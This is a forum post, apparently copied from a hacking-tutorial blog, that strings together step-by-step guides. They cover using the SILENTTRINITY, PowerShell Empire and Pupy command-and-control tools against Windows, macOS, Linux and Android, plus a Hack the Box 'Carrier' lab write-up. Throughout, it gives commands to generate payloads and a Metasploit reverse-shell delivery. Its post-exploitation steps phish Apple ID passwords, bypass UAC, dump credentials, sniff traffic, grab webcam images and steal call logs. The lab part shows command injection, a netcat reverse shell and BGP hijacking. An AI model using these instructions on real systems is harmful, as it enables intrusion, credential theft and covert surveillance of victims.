Login

**NINZA** · 05-14-2020, 11:56 AM

0			0

In this article, we will learn to use Silent Trinity tool to exploit windows.
Table of content:

Introduction
Installation
Windows exploitation
Windows post exploitation
Silent trinity to meterpreter

Introduction
Silent trinity is a command and control tool dedicated to windows. It is developed by byt3bl33d3r in python, iron python, C# and .net. as it is windows dedicated tool, C# was but obvious choice as it has a direct access .NET framework just like PowerShell. Its an amazing post exploitation tool for windows. This tool supports C2 server over HTTP 1.1.
Installation
Installing silent trinity is pretty easy as you just have to download it using git clone and then install its dependencies using pip command. To download silent trinity, use the following command :
git clone //github.com/byt3bl33d3r/SILENTTRINITY
1
git clone //github.com/byt3bl33d3r/SILENTTRINITY
[Image: 1.png?w=687]

Now to install all the requirements using the following commands :
pip install -r requirements.txt
1
pip install -r requirements.txt
[Image: 2.png?w=687]

Once the installation is complete, start the said tool as shown in the image below :
[Image: 3.png?w=687]

Windows Exploitation
As the tool is up and running, use ‘list’ command to see the list of listeners available. As you can see in the image below only listeners are available i.e. http, and https. To start the listener, use the following set of commands :
use http
start
1
2
use http
start
When starting the listener, there is no need to give IP address or port as it automatically takes the IP of the local machine and the port is always pre-defined, depending on the listener, such as port 80 is specified for the listener http and port 443 is specified for the listener https. Now, as you can see that in the image below, with the help of the above commands our listener has started :
[Image: 4.png?w=687]

As we have done with the listeners, now comes the stagers. Similar to the listener, use the ‘list’ command to see the list of all the available listeners. Because this tool is a windows dedicated tool, there are only three stagers in relation to windows and they are msbuild, wmic, PowerShell. To launch the stager use the following set of commands :
use msbuild
generate http
1
2
use msbuild
generate http
[Image: 5.png?w=687]

Executing the above commands will create a file. Share that file to the target system using the python server as shown in the image below :
[Image: 6.png?w=687]

And now, run the file in the command prompt of the target system with the following command :
C:\windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe msbuiild.xml
1
C:\windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe msbuiild.xml
[Image: 7.png?w=687]

As the file is executed, you can see in the image below, a session will be generated.
[Image: 8.png?w=687]

Windows Post Exploitation
As the session is generated, you can again use the ‘list’ command to see the list of post exploitation modules available, some of which we will show in our article, as shown in the image below :
[Image: 9.png?w=687]

Let’s try and use the message box. The purpose of this exploit is to pop a message on the victim’s PC. To use this exploit run the following set of commands :
use ipy/msgbox
set Text "Hacking Articles"
set Title "Hack"
run <session name>
1
2
3
4
use ipy/msgbox
set Text "Hacking Articles"
set Title "Hack"
run <session name>
[Image: 10.png?w=687]

And as the result of the said exploit, a message box will pop up on the target machine. You can see the message box in the image below :
[Image: 11.png?w=687]

The next exploit is to receive basic information about the target system. And for his, type the following set of commands :
use ipy/systeminfo
run <session name>
1
2
use ipy/systeminfo
run <session name>
[Image: 12.png?w=687]

There is a module for enumeration of host and to run that module type the following set of commands :
use ipy/hostenum
run <session name>
1
2
use ipy/hostenum
run <session name>
As you can see you have catalogues and detailed information about your target system in the image below :
[Image: 13.png?w=687]

With the next exploit, you can access shell of the target system but command by command and for this type :
use ipy/shell
set Command ipconfig
run <session name>
1
2
3
use ipy/shell
set Command ipconfig
run <session name>
As shown in the image below, it runs the ipconfig command through the session that has access to.
[Image: 14.png?w=687]

Silent trinity to meterpreter
To have a meterpreter session via silent trinity start Metasploit by using msfconsole command in a new terminal. And use the web_delivery exploit using the following command :
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set lhost eth0
set lport 4444
run
1
2
3
4
5
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set lhost eth0
set lport 4444
run
Running the above commands will generate a command that is to be run in the target system as shown in the image below :
[Image: 15.png?w=687]

The above-generated command is to be run in the shell of the victim’s PC and for that execute the command in the shell by using silent trinity as we had run ipconfig command earlier.
run <session name>
[Image: 16.png?w=687]

As the command will run in the silent trinity, you will have your meterpreter session as shown in the image below :
[Image: 17.png?w=687]

So, all in all, Silent trinity is an amazing tool when it comes to exploiting windows.

This article is another post in the empire series. In this article, we will learn OSX Penetration testing using empire.
Table of Content
Exploiting MAC
Post Exploitation

Phishing
Privilege Escalation
Sniffing

Exploiting MAC
Here I’m considering you know PowerShell Empire’s basics, therefore, we will create the listener first using the following commands:
uselistener http
set Host //192.168.1.26
execute
1
2
3
uselistener http
set Host //192.168.1.26
execute
[Image: 1.png?w=687]

Executing the above commands will start up the listener as shown in the image above. Now the next step is to create a stager for OS X. And for that, type :
usestager osx/launcher
execute
1
2
usestager osx/launcher
execute
[Image: 2.png?w=687]

As you can see in the image above, the above stager will generate a code. Execute this code in the target system i.e. OS X and after the execution, you will have your session as shown in the image below :
[Image: 3.png?w=687]

Post Exploitation
Phishing
As we have the session of our mac, there are few post exploits that can use to our advantage. The first post exploitation module we will use is a collection/osx/prompt. Using this module will ask the user to enter their password to their Apple ID, which means this module does not work in stealth mode. To use this module type :
usemodule collection/osx/prompt
execute
1
2
usemodule collection/osx/prompt
execute
[Image: 4.png?w=687]

Executing the above module will open a prompt in the target machine as shown in the image below and when entered password you have it in clear text as shown in the image above.
[Image: 5.1.png?w=687]

Privilege Escalation
For the privilege escalation of OS X, we have used the module privesc/multi/sudo_spawn. To sue this module type :
usemodule privesc/multi/sudo_spawn
set Listener http
set Password toor
execute
1
2
3
4
usemodule privesc/multi/sudo_spawn
set Listener http
set Password toor
execute
Executing this module will give you admin rights with a new session, as you can see in the image below :
[Image: 5.png?w=687]

Sniffing
The module we will use is collection/osx/sniffer. This will sniff around all the traffic in the coming to and going from our target system and give us all the necessary details by creating a pcap file. To use module type :
usemodule collection/osx/sniffer
execute
1
2
usemodule collection/osx/sniffer
execute
[Image: 6.png?w=687]

As you can see that you will even find the password in clear text in the pcap file as shown in the image below :
[Image: 7.png?w=687]

Next post module is of taking a screenshot of the target system and to use the said module type :
usemodule collection/osx/screenshot
execute
1
2
usemodule collection/osx/screenshot
execute
[Image: 8.png?w=687]

The above module will take a screenshot as shown in the image below :
[Image: 9.png?w=687]

There is a further number of post modules which you can use and experiment with as shown in the image below :
[Image: 10.png?w=687]

Today we are going to solve another CTF challenge “Carrier”. It is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Expert
Task: To find user.txt and root.txt file
Note: Since these labs are online available therefore they have a static IP. The IP of Carrier is 10.10.10.105
Penetrating Methodology

Network scanning (Nmap)
Enumerating SNMP service port (161)
Surfing HTTPS service port (80)
Logging in through the Web portal
Finding command injection in web application
Getting reverse shell
Finding the first flag.
Finding Border Gateway Protocol
Border Gateway Protocol (BGP) Hijacking
Capturing FTP credentials
Logging in through SSH
Finding final flag

Walkthrough
Let’s start off with our basic Nmap command to find out the open ports and services.
nmap -sC -sV -p- -T4 10.10.10.105
nmap -sU --min-rate=5000 -T4 10.10.10.105
1
2
nmap -sC -sV -p- -T4 10.10.10.105
nmap -sU --min-rate=5000 -T4 10.10.10.105
[Image: 1.png?w=687&ssl=1]

The Nmap scan shows us that there are 3 TCP ports are open: 21(FTP), 22(SSH), 80(HTTP) and 1 UDP port is open: 161(SNMP)
As port 161 is open we use snmpwalk to enumerate SNMP port and find a string called “SN#NET_45JDX23”.
snmpwalk -c public -v 1 10.10.10.105
1
snmpwalk -c public -v 1 10.10.10.105
[Image: 2.1.png?w=687&ssl=1]

As port 80 is open, we open the web services in the browser and we find a login page.
[Image: 2.png?w=687&ssl=1]

We try username “admin” and the string we find earlier as the password. But were unable to login but by using the password “NET_45JDX23”, we were able to login.
[Image: 3.png?w=687&ssl=1]

By checking the different options in the web application, in the diagnostic tab, we find something interesting. When we click on the “Verify status” button, we find that the server might be running “ps” command.
[Image: 4.png?w=687&ssl=1]

So further enumerate the web application, we use BurpSuite to capture the request and find inside the “check” parameter a base64 encoded string. When we decode the base64 encoded string we find the string to be called “quagga”. Now if check the web application, it is showing all the process that contains the string “quagga”. So that means the web application is running “ps” with “grep quagga” command.
[Image: 5.png?w=687&ssl=1]

Now to verify our theory, we change the check parameter to “root” and then encode it to base64 and then encode it to URL encode.
[Image: 6.png?w=687&ssl=1]

When we send the new request we find that the web application is displaying all the process that contains the string “root”.
[Image: 7.png?w=687&ssl=1]

Now we check if the web application is vulnerable to command injection or not. We try to run id command on the server.
[Image: 8.png?w=687&ssl=1]

By changing the parameter to “hack;id” and then encoding it with base64 encode and URL encode we forward the request to the server.
[Image: 9.png?w=687&ssl=1]

When we check the web application, we find that we are successfully able to run the “id” command that means the web application is vulnerable to command injection.
[Image: 10.png?w=687&ssl=1]

Now we replace the id command with nc reverse shell one-liner.
[Image: 11.png?w=687&ssl=1]

We encode the string with base64 encode and URL encode. We setup our listener and then forward the request.
[Image: 12.png?w=687&ssl=1]

As soon as we forward the request we get a reverse shell, we spawn a TTY shell and check for files in the current directory. Inside we find a file called “user.txt”, we open the file and find the first flag.
python -c "import pty; pty.spawn('/bin/bash')"
1
python -c "import pty; pty.spawn('/bin/bash')"
[Image: 13.png?w=687&ssl=1]

After getting a root shell we enumerated the machine, we do not find anything interesting. Going back to the tickets section on the web page, we find a hint that we need to check another subnet.
[Image: 14.png?w=687&ssl=1]

We use the ping command to find all the available machines on the subnet “10.120.15.0/24”.
for i in {1..255}; do ping -c 1 10.120.15.$i | grep "bytes from" | cut -d " " -f4 | cut -d ":" -f1 ; done
1
for i in {1..255}; do ping -c 1 10.120.15.$i | grep "bytes from" | cut -d " " -f4 | cut -d ":" -f1 ; done
[Image: 15.png?w=687&ssl=1]

Now we according to the ticket we know there is ftp server running on subnet “10.120.15.0/24”. So we scan both the IP addresses and find port 21 is open on 10.120.15.10. Further enumerating the system in cronjob we find that there is a bash script inside /opt/ directory called “restore.sh”. We take a look at the content of the file and find that the machine is working with Border Gateway Protocol (BGP) with Quagga. Now we can use a technique called BGP hijacking to take over the IP address. The bash script restores the BGP configuration every 10 minutes, so we remove executable permissions from the script so that we can make changes to the configuration of BGP
crontab -l
chmod -x /opt/restore.sh
1
2
crontab -l
chmod -x /opt/restore.sh
[Image: 16.png?w=687&ssl=1]

Now we connect to the vty shell and check the current configuration.
vtysh
show running-config
1
2
vtysh
show running-config
[Image: 18.png?w=687&ssl=1]

Now switch to configure mode, and to intercept the traffic we want 10.120.15.0/25 to use our machine as the gateway.
configure terminal
ip prefix-list 0xdf permit 10.120.15.0/25
route-map to-as200 permit 10
match ip address prefix-list 0xdf
set community no-export
route-map to-as200 permit 20
route-map to-as300 deny 10
match ip address prefix-list 0xdf
route-map to-as300 permit 20
router bgp 100
network 10.120.15.0 mask 255.255.255.128
end
clear ip bgp *
1
2
3
4
5
6
7
8
9
10
11
12
13
configure terminal
ip prefix-list 0xdf permit 10.120.15.0/25
route-map to-as200 permit 10
match ip address prefix-list 0xdf
set community no-export
route-map to-as200 permit 20
route-map to-as300 deny 10
match ip address prefix-list 0xdf
route-map to-as300 permit 20
router bgp 100
network 10.120.15.0 mask 255.255.255.128
end
clear ip bgp *
[Image: 19.png?w=687&ssl=1]

If we check our BGP routes we find that our machines will be used as a gateway.
show ip bgp neighbors 10.78.10.2 advertised-routes
1
show ip bgp neighbors 10.78.10.2 advertised-routes
[Image: 20.png?w=687&ssl=1]

Now we will start collecting packets on port 21 using tcpdump, we will be using the interface eth2.
tcpdump -i eth2 -nnXSs 0 'port 21' -w hack.pcap
1
tcpdump -i eth2 -nnXSs 0 'port 21' -w hack.pcap
[Image: 21.png?w=687&ssl=1]

We wait for some time then interrupt the capture and check if the pcap file has been created. Now we transfer the file to our system and analyze it with Wireshark and find the password for FTP.
Password: BGPtelc0routing
[Image: 22.png?w=687&ssl=1]

We use this password to login through SSH on the target system and are successfully able to login. After logging in, we find a file called root.txt, we take a look at the content of the file and find the final flag.
ssh [email protected]
1
ssh [email protected]
[Image: 23.png?w=687&ssl=1]

In this article, we will learn to exploit Windows, Linux and Android with pupy command and control tool.
Table of Content :

Introduction
Installation
Windows Exploitation
Windows Post Exploitation
Linux Exploitation
Linux Post Exploitation
Android Exploitation
Android Post Exploitation

Introduction
Pupy is a cross-platform, post-exploitation tool as well as a multi-function RAT. It’s written in python which makes it very convenient. It also has low detectability that’s why it’s a great tool for the red team. Pupy can communicate using multiple kinds of transport, migrate into processes using reflective injection, and load remote python code, python packages and python C-extensions from memory.
It uses a reflected DLL to load python interpreter from memory which is great as nothing will be shown in the disk. It doesn’t have any special dependencies. It can also migrate into other processes. The communication protocols of pupy are modular and stackable. It can execute non-interactive commands on multiple hosts at once. All the interactive shells can be accessed remotely.
Installation
To install pupy execute the following commands one by one :
git clone

[To see content please register here]

ls
./install.sh
1
2
3
git clone

[To see content please register here]

ls
./install.sh
[Image: 1.png?w=687]

Now download all the requirements using pip like the following command :
cd pupy
pip install -r requirements.txt
1
2
cd pupy
pip install -r requirements.txt
[Image: 2.png?w=687]

Now run pupy using the following command :
./pupysh.py
1
./pupysh.py
This command will open the prompt where you will get your session.
[Image: 3.png?w=687]

Now, to create our payload we will use the pupygen. Use the following help command to see all the attributes which we can use :
./pupygen.py -h
1
./pupygen.py -h
[Image: 4.png?w=687]

Windows Exploitation
Now we will create a windows payload in order to exploit windows with the following command :
./pupygen.py -O windows -A x86 -o /root/Desktop/shell.exe
1
./pupygen.py -O windows -A x86 -o /root/Desktop/shell.exe
Here,
-O: refers to the operating system
-A: refers to the architecture
-o: refers to the output file path
[Image: 5.png?w=687]

When you are successful in executing the shell.exe in the victims’ PC, you will have your session as shown in the image :
[Image: 6.png?w=687]

Windows Post Exploitation
Further, there are a number of post-exploits you can use, they are pretty simple to use. Some of them we have shown in our article. For message dialogue box to pop up on the target machine you can use the following command :
msgbox –-title hack "you have been hacked"
1
msgbox –-title hack "you have been hacked"
[Image: 7.png?w=687]

As per the command, following dialogue box will open on the target machine :
[Image: 8.png?w=687]

You can also access the desktop using the remote desktop module with the following command :
rdesktop -r 0
1
rdesktop -r 0
[Image: 9.png?w=687]

After executing the above command you can remotely access the desktop just as shown in the image below :
[Image: 10.png?w=687]

For bypass UAC, we have the simplest command in pupy i.e. the following :
bypassuac -r
1
bypassuac -r
The above command will recreate a session with admin privileges as shown in the image below :
[Image: 11.png?w=687]

For getting the system’s credentials, you can use the following command :
creddump
1
creddump
And as you can see in the image below, you get the information about all the credentials :
[Image: 12.png?w=687]

Using pupy, we can also migrate our session to a particular process. With migrate command, the attributes of the command are shown in the image below :
[Image: 13.png?w=687]

With ps command, you can find out the process ID number of all the processes running on the target PC, along with letting you know which process is running. Knowing the process ID is important as it will be required in the migrate command and will help us to migrate our session as we desire.
[Image: 14.png?w=687]

Now, as we know the processes that are running, we can use it to migrate our session. For this, type the following command :
migrate -p explorer.exe -k
1
migrate -p explorer.exe -k
[Image: 15.png?w=687]

And then a new session will be created as desired.
Linux Exploitation
To exploit Linux, we will have to generate Linux payload with the following command :
./pupygen.py -O linux -A x64 -o /root/Desktop.shell
1
./pupygen.py -O linux -A x64 -o /root/Desktop.shell
[Image: 16.png?w=687]

Once you execute the malicious file in the target system, you will have your session as shown in the image below :
[Image: 17.png?w=687]

As you have a session now, you can check if the target machine is running on a VM or is it a host machine with the following command :
check_vm
1
check_vm
And as you can see in the image below that the target machine is, in fact, running on VM
[Image: 18.png?w=687]

Linux Post Exploitation
In post-exploitation, you can have detailed information about the target system with the following command :
privesc_checker --linenum
1
privesc_checker --linenum
[Image: 19.png?w=687]

With pupy, you can also find out all the exploits that are working on the target system with the help of the following command :
exploit_suggester –shell /bin/bash
1
exploit_suggester –shell /bin/bash
As you can see that in the image below, it has given us the list of all the exploits to which the target system is vulnerable.
[Image: 20.png?w=687]

To get the basic information about the target system such as IP address, MAC address, etc. you can use the following command :
get_info
1
get_info
[Image: 21.png?w=687]

Android Exploitation
Now we will create an android payload in order to exploit windows with the following command :
./pupygen.py -O android -o /root/shell.apk
1
./pupygen.py -O android -o /root/shell.apk
[Image: 22.png?w=687]

When you are successful in installing the shell.apk in the victims’ Android Phone, you will have your session as shown in the image :
[Image: 23.png?w=687]

Android Post Exploitation
In post-exploitation, you can grab the call logs stored on the target device with the following command :
call -a -output-folder /root/call
1
call -a -output-folder /root/call
Here,
-a: refers to getting all the call details
-output-folder : refers to the path of the output file containing the call logs
[Image: 24.png?w=687]

We will use the cat command on callDetails.txt to read the call logs.
[Image: 25.png?w=687]

To get the camera snap from the primary camera on the target device, you can use the following command :
webcamsnap -v
1
webcamsnap -v
Here,
-v : refers to view the image directly
As we can see in the given image that we have the snap captured and stored at the given location.
[Image: 26.png?w=687]

To get the information about the installed packages or apps on the target device, you can use the following command :
apps -a -d
1
apps -a -d
Here,
-a: refers to getting all the installed packages details
-d: refers to view detailed information
As we can see in the given image that we have detailed information about the packages or apps installed on the target machine.
[Image: 27.png?w=687]

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis